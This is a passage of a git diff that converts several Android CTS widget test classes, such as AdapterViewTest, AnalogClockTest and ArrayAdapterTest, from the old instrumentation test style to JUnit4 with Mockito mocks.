+    @Test
+    public void testMenuContent() {
+        final Menu menu = mActionMenuView.getMenu();
+        assertNotNull(menu);
+
+        mActivity.getMenuInflater().inflate(R.menu.toolbar_menu, menu);
+
+        assertEquals(6, menu.size());
+        assertEquals(R.id.action_highlight, menu.getItem(0).getItemId());
+        assertEquals(R.id.action_edit, menu.getItem(1).getItemId());
+        assertEquals(R.id.action_delete, menu.getItem(2).getItemId());
+        assertEquals(R.id.action_ignore, menu.getItem(3).getItemId());
+        assertEquals(R.id.action_share, menu.getItem(4).getItemId());
+        assertEquals(R.id.action_print, menu.getItem(5).getItemId());
+
+        ActionMenuView.OnMenuItemClickListener menuItemClickListener =
+                mock(ActionMenuView.OnMenuItemClickListener.class);
+        mActionMenuView.setOnMenuItemClickListener(menuItemClickListener);
+
+        menu.performIdentifierAction(R.id.action_highlight, 0);
+        verify(menuItemClickListener, times(1)).onMenuItemClick(
+                menu.findItem(R.id.action_highlight));
+
+        menu.performIdentifierAction(R.id.action_share, 0);
+        verify(menuItemClickListener, times(1)).onMenuItemClick(
+                menu.findItem(R.id.action_share));
+    }
+
+    @Test
+    public void testMenuOverflowShowHide() throws Throwable {
+        // Inflate menu and check that we're not showing overflow menu yet
+        mActivityRule.runOnUiThread(
+                () -> mActivity.getMenuInflater().inflate(
+                        R.menu.toolbar_menu, mActionMenuView.getMenu()));
+        assertFalse(mActionMenuView.isOverflowMenuShowing());
+
+        // Ask to show overflow menu and check that it's showing
+        mActivityRule.runOnUiThread(mActionMenuView::showOverflowMenu);
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mActionMenuView.isOverflowMenuShowing());
+
+        // Ask to hide the overflow menu and check that it's not showing
+        mActivityRule.runOnUiThread(mActionMenuView::hideOverflowMenu);
+        mInstrumentation.waitForIdleSync();
+        assertFalse(mActionMenuView.isOverflowMenuShowing());
+    }
+
+    @Test
+    public void testMenuOverflowSubmenu() throws Throwable {
+        // Inflate menu and check that we're not showing overflow menu yet
+        mActivityRule.runOnUiThread(
+                () -> mActivity.getMenuInflater().inflate(
+                        R.menu.toolbar_menu, mActionMenuView.getMenu()));
+        assertFalse(mActionMenuView.isOverflowMenuShowing());
+
+        // Ask to show overflow menu and check that it's showing
+        mActivityRule.runOnUiThread(mActionMenuView::showOverflowMenu);
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mActionMenuView.isOverflowMenuShowing());
+
+        // Register a mock menu item click listener on the toolbar
+        ActionMenuView.OnMenuItemClickListener menuItemClickListener =
+                mock(ActionMenuView.OnMenuItemClickListener.class);
+        mActionMenuView.setOnMenuItemClickListener(menuItemClickListener);
+
+        final Menu menu = mActionMenuView.getMenu();
+
+        // Ask to "perform" the share action and check that the menu click listener has
+        // been notified
+        mActivityRule.runOnUiThread(() -> menu.performIdentifierAction(R.id.action_share, 0));
+        verify(menuItemClickListener, times(1)).onMenuItemClick(
+                menu.findItem(R.id.action_share));
+
+        // Ask to dismiss all the popups and check that we're not showing the overflow menu
+        mActivityRule.runOnUiThread(mActionMenuView::dismissPopupMenus);
+        mInstrumentation.waitForIdleSync();
+        assertFalse(mActionMenuView.isOverflowMenuShowing());
+    }
+
+    @Test
+    public void testMenuOverflowIcon() throws Throwable {
+        // Inflate menu and check that we're not showing overflow menu yet
+        mActivityRule.runOnUiThread(
+                () -> mActivity.getMenuInflater().inflate(
+                        R.menu.toolbar_menu, mActionMenuView.getMenu()));
+
+        final Drawable overflowIcon = mActivity.getDrawable(R.drawable.icon_red);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mActionMenuView,
+                () -> mActionMenuView.setOverflowIcon(overflowIcon));
+
+        final Drawable toolbarOverflowIcon = mActionMenuView.getOverflowIcon();
+        TestUtils.assertAllPixelsOfColor("Overflow icon is red", toolbarOverflowIcon,
+                toolbarOverflowIcon.getIntrinsicWidth(), toolbarOverflowIcon.getIntrinsicHeight(),
+                true, Color.RED, 1, false);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPopupTheme() {
+        mActivity.getMenuInflater().inflate(R.menu.toolbar_menu, mActionMenuView.getMenu());
+        mActionMenuView.setPopupTheme(R.style.ToolbarPopupTheme_Test);
+        assertEquals(R.style.ToolbarPopupTheme_Test, mActionMenuView.getPopupTheme());
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/AdapterViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/AdapterViewCtsActivity.java
index a85e365..6e8e7ed 100644
--- a/tests/tests/widget/src/android/widget/cts/AdapterViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/AdapterViewCtsActivity.java
@@ -16,17 +16,16 @@
 
 package android.widget.cts;
 
-import java.util.ArrayList;
-import java.util.List;
-
 import android.app.Activity;
 import android.os.Bundle;
 import android.view.ViewGroup.LayoutParams;
 import android.widget.ArrayAdapter;
 import android.widget.ListView;
-
 import android.widget.cts.R;
 
+import java.util.ArrayList;
+import java.util.List;
+
 /**
  * A minimal application for AdapterView test.
  */
diff --git a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
index 1b9137f..cc86808 100644
--- a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
@@ -16,12 +16,30 @@
 
 package android.widget.cts;
 
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.anyInt;
+import static org.mockito.Mockito.anyLong;
+import static org.mockito.Mockito.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
+import static org.mockito.Mockito.when;
 
-import android.app.Activity;
 import android.content.Context;
 import android.os.Parcelable;
-import android.test.ActivityInstrumentationTestCase2;
+import android.provider.Settings;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.SparseArray;
 import android.util.Xml;
@@ -31,18 +49,22 @@
 import android.view.animation.LayoutAnimationController;
 import android.widget.AdapterView;
 import android.widget.ArrayAdapter;
+import android.widget.FrameLayout;
 import android.widget.ImageView;
 import android.widget.ListAdapter;
 import android.widget.ListView;
-import android.widget.AdapterView.OnItemClickListener;
-import android.widget.AdapterView.OnItemLongClickListener;
-import android.widget.AdapterView.OnItemSelectedListener;
-import android.provider.Settings;
 
-import android.widget.cts.R;
+import com.android.compatibility.common.util.WidgetTestUtils;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
-public class AdapterViewTest extends ActivityInstrumentationTestCase2<AdapterViewCtsActivity> {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AdapterViewTest {
 
     private final static int INVALID_ID = -1;
 
@@ -51,20 +73,20 @@
 
     final String[] FRUIT = { "1", "2", "3", "4", "5", "6", "7", "8" };
 
-    private Activity mActivity;
+    private AdapterViewCtsActivity mActivity;
     private AdapterView<ListAdapter> mAdapterView;
 
-    public AdapterViewTest() {
-        super("android.widget.cts", AdapterViewCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<AdapterViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(AdapterViewCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
         mAdapterView = new ListView(mActivity);
     }
 
+    @Test
     public void testConstructor() {
         XmlPullParser parser = mActivity.getResources().getXml(R.layout.adapterview_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
@@ -75,83 +97,60 @@
 
         new MockAdapterView(mActivity, attrs, 0);
 
-        try {
-            new MockAdapterView(null);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-            //expected
-        }
-
         new MockAdapterView(mActivity, null, INVALID_ID);
     }
 
-    /**
-     * test not supported methods, all should throw UnsupportedOperationException
-     */
-    public void testUnsupportedMethods() {
-        ListView subView = new ListView(mActivity);
-
-        try {
-            mAdapterView.addView(subView);
-            fail("addView(View) is not supported in AdapterView.");
-        } catch (UnsupportedOperationException e) {
-            //expected
-        }
-
-        try {
-            mAdapterView.addView(subView, 0);
-            fail("addView(View, int) is not supported in AdapterView.");
-        } catch (UnsupportedOperationException e) {
-            //expected
-        }
-
-        try {
-            mAdapterView.addView(subView, (ViewGroup.LayoutParams) null);
-            fail("addView(View, ViewGroup.LayoutParams) is not supported in AdapterView.");
-        } catch (UnsupportedOperationException e) {
-            //expected
-        }
-
-        try {
-            mAdapterView.addView(subView, 0, (ViewGroup.LayoutParams) null);
-            fail("addView(View, int, ViewGroup.LayoutParams) is not supported in AdapterView.");
-        } catch (UnsupportedOperationException e) {
-            //expected
-        }
-
-        try {
-            mAdapterView.removeViewAt(0);
-            fail("removeViewAt(int) is not supported in AdapterView");
-        } catch (UnsupportedOperationException e) {
-            //expected
-        }
-
-        try {
-            mAdapterView.removeAllViews();
-            fail("removeAllViews() is not supported in AdapterView");
-        } catch (UnsupportedOperationException e) {
-            //expected
-        }
-
-        try {
-            mAdapterView.removeView(subView);
-            fail("removeView(View) is not supported in AdapterView");
-        } catch (UnsupportedOperationException e) {
-            //expected
-        }
-
-        try {
-            mAdapterView.setOnClickListener(new android.view.View.OnClickListener() {
-                public void onClick(View v) {
-                }
-            });
-            fail("function setOnClickListener(android.view.View.OnClickListener) "
-                    + "should throw out runtime exception");
-        } catch (RuntimeException e) {
-            // expected
-        }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext() {
+        new MockAdapterView(null);
     }
 
+    @Test(expected=UnsupportedOperationException.class)
+    public void testAddView1() {
+        ListView subView = new ListView(mActivity);
+        mAdapterView.addView(subView);
+    }
+
+    @Test(expected=UnsupportedOperationException.class)
+    public void testAddView2() {
+        ListView subView = new ListView(mActivity);
+        mAdapterView.addView(subView, 0);
+    }
+
+    @Test(expected=UnsupportedOperationException.class)
+    public void testAddView3() {
+        ListView subView = new ListView(mActivity);
+        mAdapterView.addView(subView, (ViewGroup.LayoutParams) null);
+    }
+
+    @Test(expected=UnsupportedOperationException.class)
+    public void testAddView4() {
+        ListView subView = new ListView(mActivity);
+        mAdapterView.addView(subView, 0, (ViewGroup.LayoutParams) null);
+    }
+
+    @Test(expected=UnsupportedOperationException.class)
+    public void testRemoveView1() {
+        mAdapterView.removeViewAt(0);
+    }
+
+    @Test(expected=UnsupportedOperationException.class)
+    public void testRemoveView2() {
+        ListView subView = new ListView(mActivity);
+        mAdapterView.removeView(subView);
+    }
+
+    @Test(expected=UnsupportedOperationException.class)
+    public void testRemoveAllViews() {
+        mAdapterView.removeAllViews();
+    }
+
+    @Test(expected=RuntimeException.class)
+    public void testSetOnClickListener() {
+        mAdapterView.setOnClickListener((View v) -> {});
+    }
+
+    @Test
     public void testGetCount() {
         // Before setAdapter, the count should be zero.
         assertEquals(0, mAdapterView.getCount());
@@ -162,6 +161,7 @@
         assertEquals(FRUIT.length, mAdapterView.getCount());
     }
 
+    @Test
     public void testAccessEmptyView() {
         ImageView emptyView = new ImageView(mActivity);
 
@@ -203,8 +203,8 @@
         assertEquals(View.VISIBLE, emptyView.getVisibility());
     }
 
+    @Test
     public void testAccessVisiblePosition() {
-
         assertEquals(0, mAdapterView.getFirstVisiblePosition());
         // If no adapter has been set, the value should be -1;
         assertEquals(-1, mAdapterView.getLastVisiblePosition());
@@ -212,7 +212,8 @@
         setArrayAdapter(mAdapterView);
 
         // LastVisiblePosition should be adapter's getCount - 1,by mocking method
-        float fontScale = Settings.System.getFloat(mActivity.getContentResolver(), Settings.System.FONT_SCALE, 1);
+        float fontScale = Settings.System.getFloat(
+                mActivity.getContentResolver(), Settings.System.FONT_SCALE, 1);
         if (fontScale < 1) {
             fontScale = 1;
         }
@@ -222,6 +223,7 @@
         assertEquals(FRUIT.length - 1, mAdapterView.getLastVisiblePosition());
     }
 
+    @Test
     public void testItemOrItemIdAtPosition() {
         // no adapter set
         assertNull(mAdapterView.getItemAtPosition(0));
@@ -235,12 +237,6 @@
             assertEquals(FRUIT[i], mAdapterView.getItemAtPosition(i));
         }
         assertNull(mAdapterView.getItemAtPosition(-1));
-        try {
-            mAdapterView.getItemAtPosition(FRUIT.length);
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-            //expected
-        }
 
         for (int i = 0; i < count; i++) {
             assertEquals(i, mAdapterView.getItemIdAtPosition(i));
@@ -249,48 +245,79 @@
         assertEquals(FRUIT.length, mAdapterView.getItemIdAtPosition(FRUIT.length));
     }
 
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testItemAtPositionInvalidIndex() {
+        setArrayAdapter(mAdapterView);
+        mAdapterView.getItemAtPosition(FRUIT.length);
+    }
+
+    @Test
     public void testAccessOnItemClickAndLongClickListener() {
-        MockOnItemClickListener clickListener = new MockOnItemClickListener();
-        MockOnItemLongClickListener longClickListener = new MockOnItemLongClickListener();
+        AdapterView.OnItemClickListener mockClickListener =
+                mock(AdapterView.OnItemClickListener.class);
+        AdapterView.OnItemLongClickListener mockLongClickListener =
+                mock(AdapterView.OnItemLongClickListener.class);
+        when(mockLongClickListener.onItemLongClick(
+                any(AdapterView.class), any(View.class), anyInt(), anyLong())).thenReturn(true);
+
+        assertNull(mAdapterView.getOnItemLongClickListener());
+        assertNull(mAdapterView.getOnItemClickListener());
 
         assertFalse(mAdapterView.performItemClick(null, 0, 0));
 
-        mAdapterView.setOnItemClickListener(clickListener);
-        mAdapterView.setOnItemLongClickListener(longClickListener);
+        mAdapterView.setOnItemClickListener(mockClickListener);
+        mAdapterView.setOnItemLongClickListener(mockLongClickListener);
+        assertEquals(mockLongClickListener, mAdapterView.getOnItemLongClickListener());
 
-        assertFalse(clickListener.isClicked());
+        verifyZeroInteractions(mockClickListener);
         assertTrue(mAdapterView.performItemClick(null, 0, 0));
-        assertTrue(clickListener.isClicked());
+        verify(mockClickListener, times(1)).onItemClick(eq(mAdapterView), any(),
+                eq(0), eq(0L));
 
         setArrayAdapter(mAdapterView);
-        assertFalse(longClickListener.isClicked());
+        verifyZeroInteractions(mockLongClickListener);
         mAdapterView.layout(0, 0, LAYOUT_WIDTH, LAYOUT_HEIGHT);
         assertTrue(mAdapterView.showContextMenuForChild(mAdapterView.getChildAt(0)));
-        assertTrue(longClickListener.isClicked());
+        verify(mockLongClickListener, times(1)).onItemLongClick(eq(mAdapterView), any(View.class),
+                eq(0), eq(0L));
     }
 
-    public void testAccessOnItemSelectedListener() {
-        // FIXME: we can not select the item in touch mode, how can we change the mode to test
-        setArrayAdapter(mAdapterView);
-        MockOnItemSelectedListener selectedListener = new MockOnItemSelectedListener();
-        mAdapterView.setOnItemSelectedListener(selectedListener);
+    @Test
+    public void testAccessOnItemSelectedListener() throws Throwable {
+        mAdapterView = mActivity.getListView();
+        WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, mAdapterView,
+                () -> mAdapterView.setLayoutParams(new FrameLayout.LayoutParams(
+                        ViewGroup.LayoutParams.MATCH_PARENT,
+                        ViewGroup.LayoutParams.MATCH_PARENT)), true);
 
-//        mAdapterView.layout(0, 0, LAYOUT_WIDTH, LAYOUT_HEIGHT);
-//
-//        assertFalse(selectedListener.isItemSelected());
-//        assertFalse(selectedListener.isNothingSelected());
-//
-//        mAdapterView.setSelection(1);
-//        assertTrue(selectedListener.isItemSelected());
-//        assertFalse(selectedListener.isNothingSelected());
-//
-//        mAdapterView.setSelection(-1);
-//        assertTrue(selectedListener.isItemSelected());
-//        assertTrue(selectedListener.isNothingSelected());
-//
-//        mAdapterView.setSelection(FRUIT.length);
-//        assertTrue(selectedListener.isItemSelected());
-//        assertTrue(selectedListener.isNothingSelected());
+        mActivityRule.runOnUiThread(() -> setArrayAdapter(mAdapterView));
+        // Wait for the UI to "settle down" since selection is fired asynchronously
+        // on the next layout pass, and we don't want to trigger the listener too early
+        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+        AdapterView.OnItemSelectedListener mockSelectedListener =
+                mock(AdapterView.OnItemSelectedListener.class);
+        mActivityRule.runOnUiThread(() ->
+                mAdapterView.setOnItemSelectedListener(mockSelectedListener));
+        assertEquals(mockSelectedListener, mAdapterView.getOnItemSelectedListener());
+
+        verifyZeroInteractions(mockSelectedListener);
+
+        // Select item #1 and verify that the listener has been notified
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mAdapterView,
+                () -> mAdapterView.setSelection(1));
+        verify(mockSelectedListener, times(1)).onItemSelected(eq(mAdapterView), any(View.class),
+                eq(1), eq(1L));
+        verifyNoMoreInteractions(mockSelectedListener);
+
+        // Select last item and verify that the listener has been notified
+        reset(mockSelectedListener);
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mAdapterView,
+                () -> mAdapterView.setSelection(FRUIT.length - 1));
+        verify(mockSelectedListener, times(1)).onItemSelected(
+                eq(mAdapterView), any(View.class), eq(FRUIT.length - 1),
+                eq((long) FRUIT.length - 1));
+        verifyNoMoreInteractions(mockSelectedListener);
     }
 
     /*
@@ -301,6 +328,7 @@
      * it's hard to scroll the list in unit test, so we just test without scrolling
      * this means the position of item is same as position of the children in parent layout
      */
+    @Test
     public void testGetPositionForView() {
         setArrayAdapter(mAdapterView);
         mAdapterView.layout(0, 0, LAYOUT_WIDTH, LAYOUT_HEIGHT);
@@ -310,17 +338,18 @@
             assertEquals(i, mAdapterView.getPositionForView(mAdapterView.getChildAt(i)));
         }
 
-        try {
-            assertEquals(AdapterView.INVALID_POSITION, mAdapterView.getPositionForView(null));
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-            //expected
-        }
-
         assertEquals(AdapterView.INVALID_POSITION,
                 mAdapterView.getPositionForView(new ImageView(mActivity)));
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testGetPositionForNull() {
+        setArrayAdapter(mAdapterView);
+        mAdapterView.layout(0, 0, LAYOUT_WIDTH, LAYOUT_HEIGHT);
+        mAdapterView.getPositionForView(null);
+    }
+
+    @Test
     public void testChangeFocusable() {
         assertFalse(mAdapterView.isFocusable());
         assertFalse(mAdapterView.isFocusableInTouchMode());
@@ -338,22 +367,21 @@
         assertTrue(mAdapterView.isFocusable());
         assertTrue(mAdapterView.isFocusableInTouchMode());
 
+        // FOCUSABLE_AUTO should also work with children added (AbsListView is clickable)
+        mAdapterView.setFocusable(View.FOCUSABLE_AUTO);
+        assertTrue(mAdapterView.isFocusable());
+        assertTrue(mAdapterView.isFocusableInTouchMode());
+
         mAdapterView.setFocusable(false);
         assertFalse(mAdapterView.isFocusable());
         assertFalse(mAdapterView.isFocusableInTouchMode());
     }
 
     /*
-     * skip this test, no need to test
-     */
-    public void testOnLayout() {
-        // onLayout() is implementation details, do NOT test
-    }
-
-    /*
      * set and get the selected id, position and item.
      * values will not change if invalid id given.
      */
+    @Test
     public void testGetSelected() {
         assertEquals(AdapterView.INVALID_ROW_ID, mAdapterView.getSelectedItemId());
         assertEquals(AdapterView.INVALID_POSITION, mAdapterView.getSelectedItemPosition());
@@ -388,6 +416,7 @@
     /*
      * not update this test until the ViewGroup's test finish.
      */
+    @Test
     public void testDispatchSaveInstanceState() {
         MockAdapterView adapterView = new MockAdapterView(mActivity);
         adapterView.setSaveEnabled(true);
@@ -400,6 +429,7 @@
     /*
      * not update this test until the ViewGroup's test finish.
      */
+    @Test
     public void testDispatchRestoreInstanceState() {
         MockAdapterView adapterView = new MockAdapterView(mActivity);
         adapterView.setSaveEnabled(true);
@@ -413,11 +443,12 @@
      * if no child added, it always return false
      * this method is protected, so we involve the mock
      */
+    @Test
     public void testCanAnimate() {
         MockAdapterView adapterView = new MockAdapterView(mActivity);
         LayoutAnimationController lAC = new LayoutAnimationController(new AnimationSet(true));
 
-            // no child added, always false
+        // no child added, always false
         assertNull(adapterView.getAdapter());
         adapterView.setLayoutAnimation(lAC);
         assertFalse(adapterView.canAnimate());
@@ -459,62 +490,7 @@
     }
 
     private void setArrayAdapter(AdapterView<ListAdapter> adapterView) {
-        ((ListView) adapterView).setAdapter(new ArrayAdapter<String>(
+        adapterView.setAdapter(new ArrayAdapter<>(
                 mActivity, R.layout.adapterview_layout, FRUIT));
     }
-
-    /**
-     * this is a mock item click listener for check out call back
-     */
-    private class MockOnItemClickListener implements OnItemClickListener {
-        private boolean mClicked;
-
-        public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
-            mClicked = true;
-        }
-
-        protected boolean isClicked() {
-            return mClicked;
-        }
-    }
-
-    /**
-     * this is a mock long item click listener for check out call back
-     */
-    private class MockOnItemLongClickListener implements OnItemLongClickListener {
-        private boolean mClicked;
-
-        public boolean onItemLongClick(AdapterView<?> parent, View view, int position, long id) {
-            mClicked = true;
-            return true;
-        }
-
-        protected boolean isClicked() {
-            return mClicked;
-        }
-    }
-
-    /**
-     * this is a mock item selected listener for check out call lback
-     */
-    private class MockOnItemSelectedListener implements OnItemSelectedListener {
-        private boolean mIsItemSelected;
-        private boolean mIsNothingSelected;
-
-        public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
-            mIsItemSelected = true;
-        }
-
-        public void onNothingSelected(AdapterView<?> parent) {
-            mIsNothingSelected = true;
-        }
-
-        protected boolean isItemSelected() {
-            return mIsItemSelected;
-        }
-
-        protected boolean isNothingSelected() {
-            return mIsNothingSelected;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java b/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java
index 17c7a1e..8fad791 100644
--- a/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java
@@ -16,15 +16,24 @@
 
 package android.widget.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.AdapterView;
-import android.widget.AdapterView.AdapterContextMenuInfo;
 
-public class AdapterView_AdapterContextMenuInfoTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AdapterView_AdapterContextMenuInfoTest {
+    @Test
     public void testConstructor() {
         AdapterView.AdapterContextMenuInfo menuInfo;
-        View testView = new View(getContext());
+        View testView = new View(InstrumentationRegistry.getTargetContext());
         int position = 1;
         long id = 0xffL;
         menuInfo = new AdapterView.AdapterContextMenuInfo(testView, position, id);
diff --git a/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java b/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java
index dd9393c..7ddbbd5 100644
--- a/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java
@@ -16,13 +16,21 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.database.Cursor;
 import android.database.MatrixCursor;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.AlphabetIndexer;
 
-public class AlphabetIndexerTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AlphabetIndexerTest {
     private static final String[] COUNTRIES_LIST = new String[]
         {"Argentina", "Australia", "China", "France", "Germany", "Italy", "Japan", "United States"};
     private static final String[] NAMES_LIST = new String[]
@@ -38,6 +46,7 @@
     private static final int INDEX_OF_MESSI = 5;
     private static final int INDEX_OF_STEVEN = 7;
 
+    @Test
     public void testAlphabetIndexer() {
         Cursor c1 = createCursor("Country", COUNTRIES_LIST);
 
@@ -100,6 +109,7 @@
         assertEquals(NAMES_LIST.length, indexer.getPositionForSection(index));
     }
 
+    @Test
     public void testCompare() {
         Cursor cursor = createCursor("Country", COUNTRIES_LIST);
 
diff --git a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
index fae6516..144deca 100644
--- a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
@@ -16,80 +16,56 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
-
 import android.app.Activity;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.AnalogClock;
 
-public class AnalogClockTest extends ActivityInstrumentationTestCase2<FrameLayoutCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AnalogClockTest {
     private AttributeSet mAttrSet;
     private Activity mActivity;
 
-    public AnalogClockTest() {
-        super("android.widget.cts", FrameLayoutCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<FrameLayoutCtsActivity> mActivityRule =
+            new ActivityTestRule<>(FrameLayoutCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        XmlPullParser parser = getActivity().getResources().getXml(R.layout.analogclock);
+    @Before
+    public void setup() throws Exception {
+        mActivity = mActivityRule.getActivity();
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.analogclock);
         mAttrSet = Xml.asAttributeSet(parser);
-        mActivity = getActivity();
     }
 
-    @UiThreadTest
+    @Test
     public void testConstructor() {
         new AnalogClock(mActivity);
         new AnalogClock(mActivity, mAttrSet);
         new AnalogClock(mActivity, mAttrSet, 0);
-
-        try {
-            new AnalogClock(null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new AnalogClock(null, null);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
-
-        try {
-            new AnalogClock(null, null, -1);
-            fail("There should be a NullPointerException thrown out.");
-        } catch (NullPointerException e) {
-            // expected, test success.
-        }
     }
 
-    public void testOnMeasure() {
-        // onMeasure() is implementation details, do NOT test
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new AnalogClock(null);
     }
 
-    public void testOnSizeChanged() {
-        // Do not test onSizeChanged(), implementation details
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new AnalogClock(null, null);
     }
 
-    public void testOnDraw() {
-        // Do not test, it's controlled by View. Implementation details
-    }
-
-    public void testOnDetachedFromWindow() {
-        // Do not test
-    }
-
-    public void testOnAttachedToWindow() {
-        // Do not test
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new AnalogClock(null, null, -1);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
index 03677f2..7595c98 100644
--- a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
@@ -16,25 +16,40 @@
 
 package android.widget.cts;
 
-import java.util.ArrayList;
-import java.util.Comparator;
-import java.util.List;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.content.Context;
+import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.database.DataSetObserver;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.ArrayAdapter;
 import android.widget.Filter;
 import android.widget.TextView;
 
-import android.widget.cts.R;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.List;
 
-public class ArrayAdapterTest extends InstrumentationTestCase {
-
-    private static final int INVALD_ID = -1;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ArrayAdapterTest {
+    private static final int INVALID_ID = -1;
     private static final String STR1 = "string1";
     private static final String STR2 = "string2";
     private static final String STR3 = "string3";
@@ -42,87 +57,90 @@
     private ArrayAdapter<String> mArrayAdapter;
     private Context mContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-        mArrayAdapter = new ArrayAdapter<String>(mContext, R.layout.simple_dropdown_item_1line);
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule =
+            new ActivityTestRule<>(CtsActivity.class);
+
+    @Before
